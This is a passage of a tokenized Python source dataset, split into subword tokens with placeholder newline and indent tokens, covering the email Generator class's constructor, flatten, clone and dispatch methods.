", "transform_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "data", " ", "in", " ", "its", " ", "write", " ", "method", " ", "in", " ", "tha", "t", " ", "case", ").", " ", " ", "Thi", "s", " ", "is", " ", "an", " ", "entire", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pragma", "tic", " ", "split", " ", "dete", "rmin", "ed", " ", "by", " ", "experiment", ";", " ", "we", " ", "coul", "d", " ", "be", " ", "more", " ", "genera", "l", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "alw", "ay", "s", " ", "usi", "ng", " ", "write", " ", "and", " ", "hav", "ing", " ", "the", " ", "Byte", "s", " ", "subclass", " ", "write", " ", "method", " ", "detect", " ", "when_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "it", " ", "has", " ", "alr", "ead", "y", " ", "transforme", "d", " ", "the", " ", "input", ";", " ", "but", ",", " ", "sinc", "e", " ", "this", " ", "whole", " ", "thing", " ", "is", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hack", " ", "anyway", " ", "this", " ", "see", "ms", " ", "good", " ", "eno", "ugh", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simil", "arl", "y", ",", " ", "we", " ", "have", " ", "\\u", "XX", "X", " ", "and", " ", "\\u", "encode", "d\\u", "XX", "X", " ", "attribute", "s", " ", "tha", "t", " ", "are", " ", "used", " ", "on_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "source", " ", "and", " ", "buffer", " ", "data", ",", " ", "respec", "tiv", "el", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "encode", "d\\u", "EMPTY_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Default", " ", "handlers_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Handle", "rs", " ", "for", " ", "writ", "ing", " ", "types", " ", "and", " ", "subtypes", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Default", " ", "body", " ", "handler_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "write", "Body_", "=_", "\\u", "handle", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "used", " ", "to", " ", "be", " ", "a", " ", "module", " ", "level", " ", "function", ";", " ", "we", " ", "use", " ", "a", " ", "class", "method", " ", "for", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "\\u", "compile", "\\u", "re", " ", "so", " ", "we", " ", "can", " ", "continue", " ", "to", " ", "provide", " ", "the", " ", "module", " ", "level", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "back", "ward", " ", "compatibility", " ", "by", " ", "doi", "ng_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\\u", "make", "\\u", "bou", "dar", "y", " ", "=", " ", "Generat", "or", ".\\u", "make", "\\u", "boundary_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "at", " ", "the", " ", "end", " ", "of", " ", "the", " ", "module", ".", " ", " ", "It", " ", "*", "is", "*", " ", "internal", ",", " ", "so", " ", "we", " ", "coul", "d", " ", "drop", " ", "tha", "t", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "outf", "p_", ",_", "mangle", "\\u", "from\\u_", "=_", "True_", ",_", "max", "header", "len_", "=_", "None_", ",_", "**_", "\\u", "3", "to", "2", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "policy", "'_", "in_", "\\u", "3", "to", "2", "kwargs_", ":_", "policy_", "=_", "\\u", "3", "to", "2", "kwargs_", "[_", "'", "policy", "'_", "]_", ";_", "del_", "\\u", "3", "to", "2", "kwargs_", "[_", "'", "policy", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "policy_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\"\"\"", "Creat", "e", " ", "the", " ", "generat", "or", " ", "for", " ", "message", " ", "flat", "ten", "ing", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "outf", "p", " ", "is", " ", "the", " ", "output", " ", "file", "-", "like", " ", "object", " ", "for", " ", "writ", "ing", " ", "the", " ", "message", " ", "to", ".", " ", " ", "It", "\\", "10", ";", " ", " ", " ", " ", "must", " ", "have", " ", "a", " ", "write", "()", " ", "method", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Optio", "nal", " ", "mangle", "\\u", "from", "\\u", " ", "is", " ", "a", " ", "flag", " ", "tha", "t", ",", " ", "whe", "n", " ", "Tru", "e", " ", "(", "the", " ", "default", "),", " ", "escape", "s", "\\", "10", ";", " ", " ", " ", " ", "Fro", "m", "\\u", " ", "lines", " ", "in", " ", "the", " ", "body", " ", "of", " ", "the", " ", "message", " ", "by", " ", "put", "ting", " ", "a", " ", "`", ">'", " ", "in", " ", "front", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "them", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Optio", "nal", " ", "max", "header", "len", " ", "speci", "fie", "s", " ", "the", " ", "long", "est", " ", "length", " ", "for", " ", "a", " ", "non", "-", "continue", "d", "\\", "10", ";", " ", " ", " ", " ", "header", ".", " ", " ", "Whe", "n", " ", "a", " ", "header", " ", "line", " ", "is", " ", "long", "er", " ", "(", "in", " ", "character", "s", ",", " ", "with", " ", "tabs", "\\", "10", ";", " ", " ", " ", " ", "expand", "ed", " ", "to", " ", "8", " ", "space", "s", ")", " ", "than", " ", "max", "header", "len", ",", " ", "the", " ", "header", " ", "will", " ", "split", " ", "as", "\\", "10", ";", " ", " ", " ", " ", "defin", "ed", " ", "in", " ", "the", " ", "Head", "er", " ", "class", ".", " ", " ", "Set", " ", "max", "header", "len", " ", "to", " ", "zero", " ", "to", " ", "disable", "\\", "10", ";", " ", " ", " ", " ", "header", " ", "wrapp", "ing", ".", " ", " ", "The", " ", "default", " ", "is", " ", "7", "8", ",", " ", "as", " ", "recommende", "d", " ", "(", "but", " ", "not", " ", "require", "d", ")", "\\", "10", ";", " ", " ", " ", " ", "by", " ", "RF", "C", " ", "282", "2", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "policy", " ", "keyw", "ord", " ", "speci", "fie", "s", " ", "a", " ", "policy", " ", "object", " ", "tha", "t", " ", "controls", " ", "a", " ", "number", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "aspect", "s", " ", "of", " ", "the", " ", "generat", "or", "'", "s", " ", "operati", "on", ".", " ", " ", "The", " ", "default", " ", "policy", " ", "maintain", "s", "\\", "10", ";", " ", " ", " ", " ", "back", "ward", " ", "compatibility", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "fp_", "=_", "outf", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "mangle", "\\u", "from\\u_", "=_", "mangle", "\\u", "from\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "max", "header", "len_", "=_", "max", "header", "len_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "policy_", "=_", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ju", "st", " ", "delegate", " ", "to", " ", "the", " ", "file", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "flatten_", "(_", "self_", ",_", "msg_", ",_", "unix", "from_", "=_", "False_", ",_", "linesep_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r", "\"\"\"", "Print", " ", "the", " ", "message", " ", "object", " ", "tree", " ", "root", "ed", " ", "at", " ", "msg", " ", "to", " ", "the", " ", "output", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "specified", " ", "whe", "n", " ", "the", " ", "Generat", "or", " ", "instance", " ", "was", " ", "created", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "unix", "from", " ", "is", " ", "a", " ", "flag", " ", "tha", "t", " ", "force", "s", " ", "the", " ", "printin", "g", " ", "of", " ", "a", " ", "Uni", "x", " ", "Fro", "m", "\\u", " ", "delimiter", "\\", "10", ";", " ", " ", " ", " ", "bef", "ore", " ", "the", " ", "first", " ", "object", " ", "in", " ", "the", " ", "message", " ", "tree", ".", " ", " ", "If", " ", "the", " ", "original", " ", "message", "\\", "10", ";", " ", " ", " ", " ", "has", " ", "no", " ", "Fro", "m", "\\u", " ", "delimiter", ",", " ", "a", " ", "`", "standard", "'", " ", "one", " ", "is", " ", "craft", "ed", ".", " ", " ", "By", " ", "default", ",", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "Fal", "se", " ", "to", " ", "inhibit", " ", "the", " ", "printin", "g", " ", "of", " ", "any", " ", "Fro", "m", "\\u", " ", "delimiter", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "for", " ", "subo", "bject", "s", ",", " ", "no", " ", "Fro", "m", "\\u", " ", "line", " ", "is", " ", "printed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "lines", "ep", " ", "speci", "fie", "s", " ", "the", " ", "character", "s", " ", "used", " ", "to", " ", "indicat", "e", " ", "a", " ", "new", " ", "line", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "output", ".", " ", " ", "The", " ", "default", " ", "value", " ", "is", " ", "dete", "rmin", "ed", " ", "by", " ", "the", " ", "policy", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "use", " ", "the", " ", "\\u", "XX", "X", " ", "constant", "s", " ", "for", " ", "operati", "ng", " ", "on", " ", "data", " ", "tha", "t", " ", "come", "s", " ", "direct", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "from", " ", "the", " ", "msg", ",", " ", "and", " ", "\\u", "encode", "d\\u", "XX", "X", " ", "constant", "s", " ", "for", " ", "operati", "ng", " ", "on", " ", "data", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "has", " ", "alr", "ead", "y", " ", "bee", "n", " ", "convert", "ed", " ", "(", "to", " ", "bytes", " ", "in", " ", "the", " ", "Byte", "s", "Generat", "or", ")", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inserted", " ", "int", "o", " ", "a", " ", "temporar", "y", " ", "buffer", "._", "\\u\\u\\uNL\\u\\u\\u_", "policy_", "=_", "msg_", "._", "policy_", "if_", "self_", "._", "policy_", "is_", "None_", "else_", "self_", "._", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "linesep_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "policy_", "=_", "policy_", "._", "clone_", "(_", "linesep_", "=_", "linesep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "max", "header", "len_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "policy_", "=_", "policy_", "._", "clone_", "(_", "max", "\\u", "line", "\\u", "length_", "=_", "self_", "._", "max", "header", "len_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "NL", "_", "=_", "policy_", "._", "linesep_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "encode", "d\\u", "NL", "_", "=_", "self_", "._", "\\u", "encode_", "(_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "EMPTY_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "encode", "d\\u", "EM", "TP", "Y_", "=_", "self_", "._", "\\u", "encode_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Be", "caus", "e", " ", "we", " ", "use", " ", "clone", " ", "(", "belo", "w", ")", " ", "whe", "n", " ", "we", " ", "recurs", "ively", " ", "process", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "subpar", "ts", ",", " ", "and", " ", "bec", "aus", "e", " ", "clone", " ", "use", "s", " ", "the", " ", "compute", "d", " ", "policy", " ", "(", "not", " ", "Non", "e", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "subme", "ssa", "ges", " ", "will", " ", "automati", "call", "y", " ", "get", " ", "set", " ", "to", " ", "the", " ", "compute", "d", " ", "policy", " ", "when_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", "y", " ", "are", " ", "process", "ed", " ", "by", " ", "this", " ", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "old", "\\u", "gen", "\\u", "policy_", "=_", "self_", "._", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "msg", "\\u", "policy_", "=_", "msg_", "._", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "policy_", "=_", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "._", "policy_", "=_", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "unix", "from_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uf", "rom_", "=_", "msg_", "._", "get", "\\u", "unix", "from_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "uf", "rom_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "uf", "rom_", "=_", "'", "Fro", "m", " ", "nob", "ody", " ", "'_", "+_", "time_", "._", "ctime_", "(_", "time_", "._", "time_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "write_", "(_", "uf", "rom_", "+_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "write_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "policy_", "=_", "old", "\\u", "gen", "\\u", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "._", "policy_", "=_", "old", "\\u", "msg", "\\u", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clone_", "(_", "self_", ",_", "fp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Clone", " ", "this", " ", "generat", "or", " ", "with", " ", "the", " ", "exact", " ", "same", " ", "options", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u\\u", "class\\u\\u_", "(_", "fp_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "mangle", "\\u", "from\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ",_", "#", " ", "Us", "e", " ", "policy", " ", "setti", "ng", ",", " ", "whi", "ch", " ", "we", "'", "ve", " ", "adjusted", "_", "\\u\\u\\uNL\\u\\u\\u_", "policy_", "=_", "self_", "._", "policy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "new", "\\u", "buffer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Byte", "s", "Generat", "or", " ", "override", "s", " ", "this", " ", "to", " ", "return", " ", "Byte", "s", "IO", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "encode_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Byte", "s", "Generat", "or", " ", "override", "s", " ", "this", " ", "to", " ", "encode", " ", "string", "s", " ", "to", " ", "bytes", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "write", "\\u", "lines_", "(_", "self_", ",_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "have", " ", "to", " ", "transform", " ", "the", " ", "line", " ", "ending", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "lines_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lines_", "=_", "lines_", "._", "splitlines_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "lines_", "[_", ":_", "-_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "line_", "._", "rstrip_", "(_", "'\\\\", "r", "\\\\", "n", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lasts", "trip", "ped_", "=_", "lines_", "[_", "-_", "1_", "]_", "._", "rstrip_", "(_", "'\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write_", "(_", "lasts", "trip", "ped_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "lines_", "[_", "-_", "1_", "]_", ")_", "!=_", "len_", "(_", "lasts", "trip", "ped_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "write_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "can", "'", "t", " ", "write", " ", "the", " ", "header", "s", " ", "ye", "t", " ", "bec", "aus", "e", " ", "of", " ", "the", " ", "follow", "ing", " ", "scen", "ario", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "say", " ", "a", " ", "multip", "art", " ", "message", " ", "include", "s", " ", "the", " ", "bound", "ary", " ", "string", " ", "some", "where", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "its", " ", "body", ".", " ", " ", "We", "'", "d", " ", "have", " ", "to", " ", "calcul", "ate", " ", "the", " ", "new", " ", "bound", "ary", " ", "/", "bef", "ore", "/", " ", "we", " ", "write_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "header", "s", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "write", " ", "the", " ", "correct", " ", "Conten", "t", "-", "Type", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "parameter", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "way", " ", "we", " ", "do", " ", "this", ",", " ", "so", " ", "as", " ", "to", " ", "make", " ", "the", " ", "\\u", "handle", "\\u*", "()", " ", "method", "s", " ", "simple", "r", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "to", " ", "cache", " ", "any", " ", "subpar", "t", " ", "writes", " ", "int", "o", " ", "a", " ", "buffer", ".", " ", " ", "The", " ", "we", " ", "write", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "header", "s", " ", "and", " ", "the", " ", "buffer", " ", "content", "s", ".", " ", " ", "Tha", "t", " ", "way", ",", " ", "subpar", "t", " ", "handler", "s", " ", "can_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Do", " ", "The", " ", "Rig", "ht", " ", "Thin", "g", ",", " ", "and", " ", "can", " ", "still", " ", "modif", "y", " ", "the", " ", "Conten", "t", "-", "Type", ":", " ", "header", " ", "if_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "necessar", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "fp_", "=_", "self_", "._", "\\u", "fp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fp_", "=_", "sf", "p_", "=_", "self_", "._", "\\u", "new", "\\u", "buffer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "dispatch_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fp_", "=_", "old", "fp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Write", " ", "the", " ", "header", "s", ".", " ", " ", "Fi", "rst", " ", "we", " ", "see", " ", "if", " ", "the", " ", "message", " ", "object", " ", "want", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "handle", " ", "tha", "t", " ", "its", "elf", ".", " ", " ", "If", " ", "not", ",", " ", "we", "'", "ll", " ", "do", " ", "it", " ", "gener", "ical", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "meth_", "=_", "getattr_", "(_", "msg_", ",_", "'\\u", "write", "\\u", "header", "s", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "meth_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "write", "\\u", "headers_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "meth_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "sf", "p_", "._", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "dispatch_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "Conten", "t", "-", "Type", ":", " ", "for", " ", "the", " ", "message", ",", " ", "then", " ", "try", " ", "to", " ", "dispatch", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".\\u", "handle", "\\u", "<", "maint", "ype", ">\\u", "<", "subt", "ype", ">(", ").", " ", " ", "If", " ", "there", "'", "s", " ", "no", " ", "handler", " ", "for", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "full", " ", "MIME", " ", "type", ",", " ", "then", " ", "dispatch", " ", "to", " ", "self", ".\\u", "handle", "\\u", "<", "maint", "ype", ">(", ").", " ", " ", "If_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", "'", "s", " ", "missi", "ng", " ", "too", ",", " ", "then", " ", "dispatch", " ", "to", " ", "self", ".\\u", "write", "Bod", "y", "()", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "=_", "msg_", "._", "get", "\\u", "content", "\\u", "maint", "ype_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub_", "=_", "msg_", "._", "get", "\\u", "content", "\\u", "subtype_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "specific_", "=_", "UNDER", "SCORE", "_", "._", "join_", "(_", "(_", "main_", ",_", "sub_", ")_", ")_", "._", "replace_", "(_", "'-'_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meth_", "=_", "getattr_", "(_", "self_", ",_", "'\\u", "handle", "\\u'_", "+_", "specific_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "meth_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "generic_", "=_", "main_", 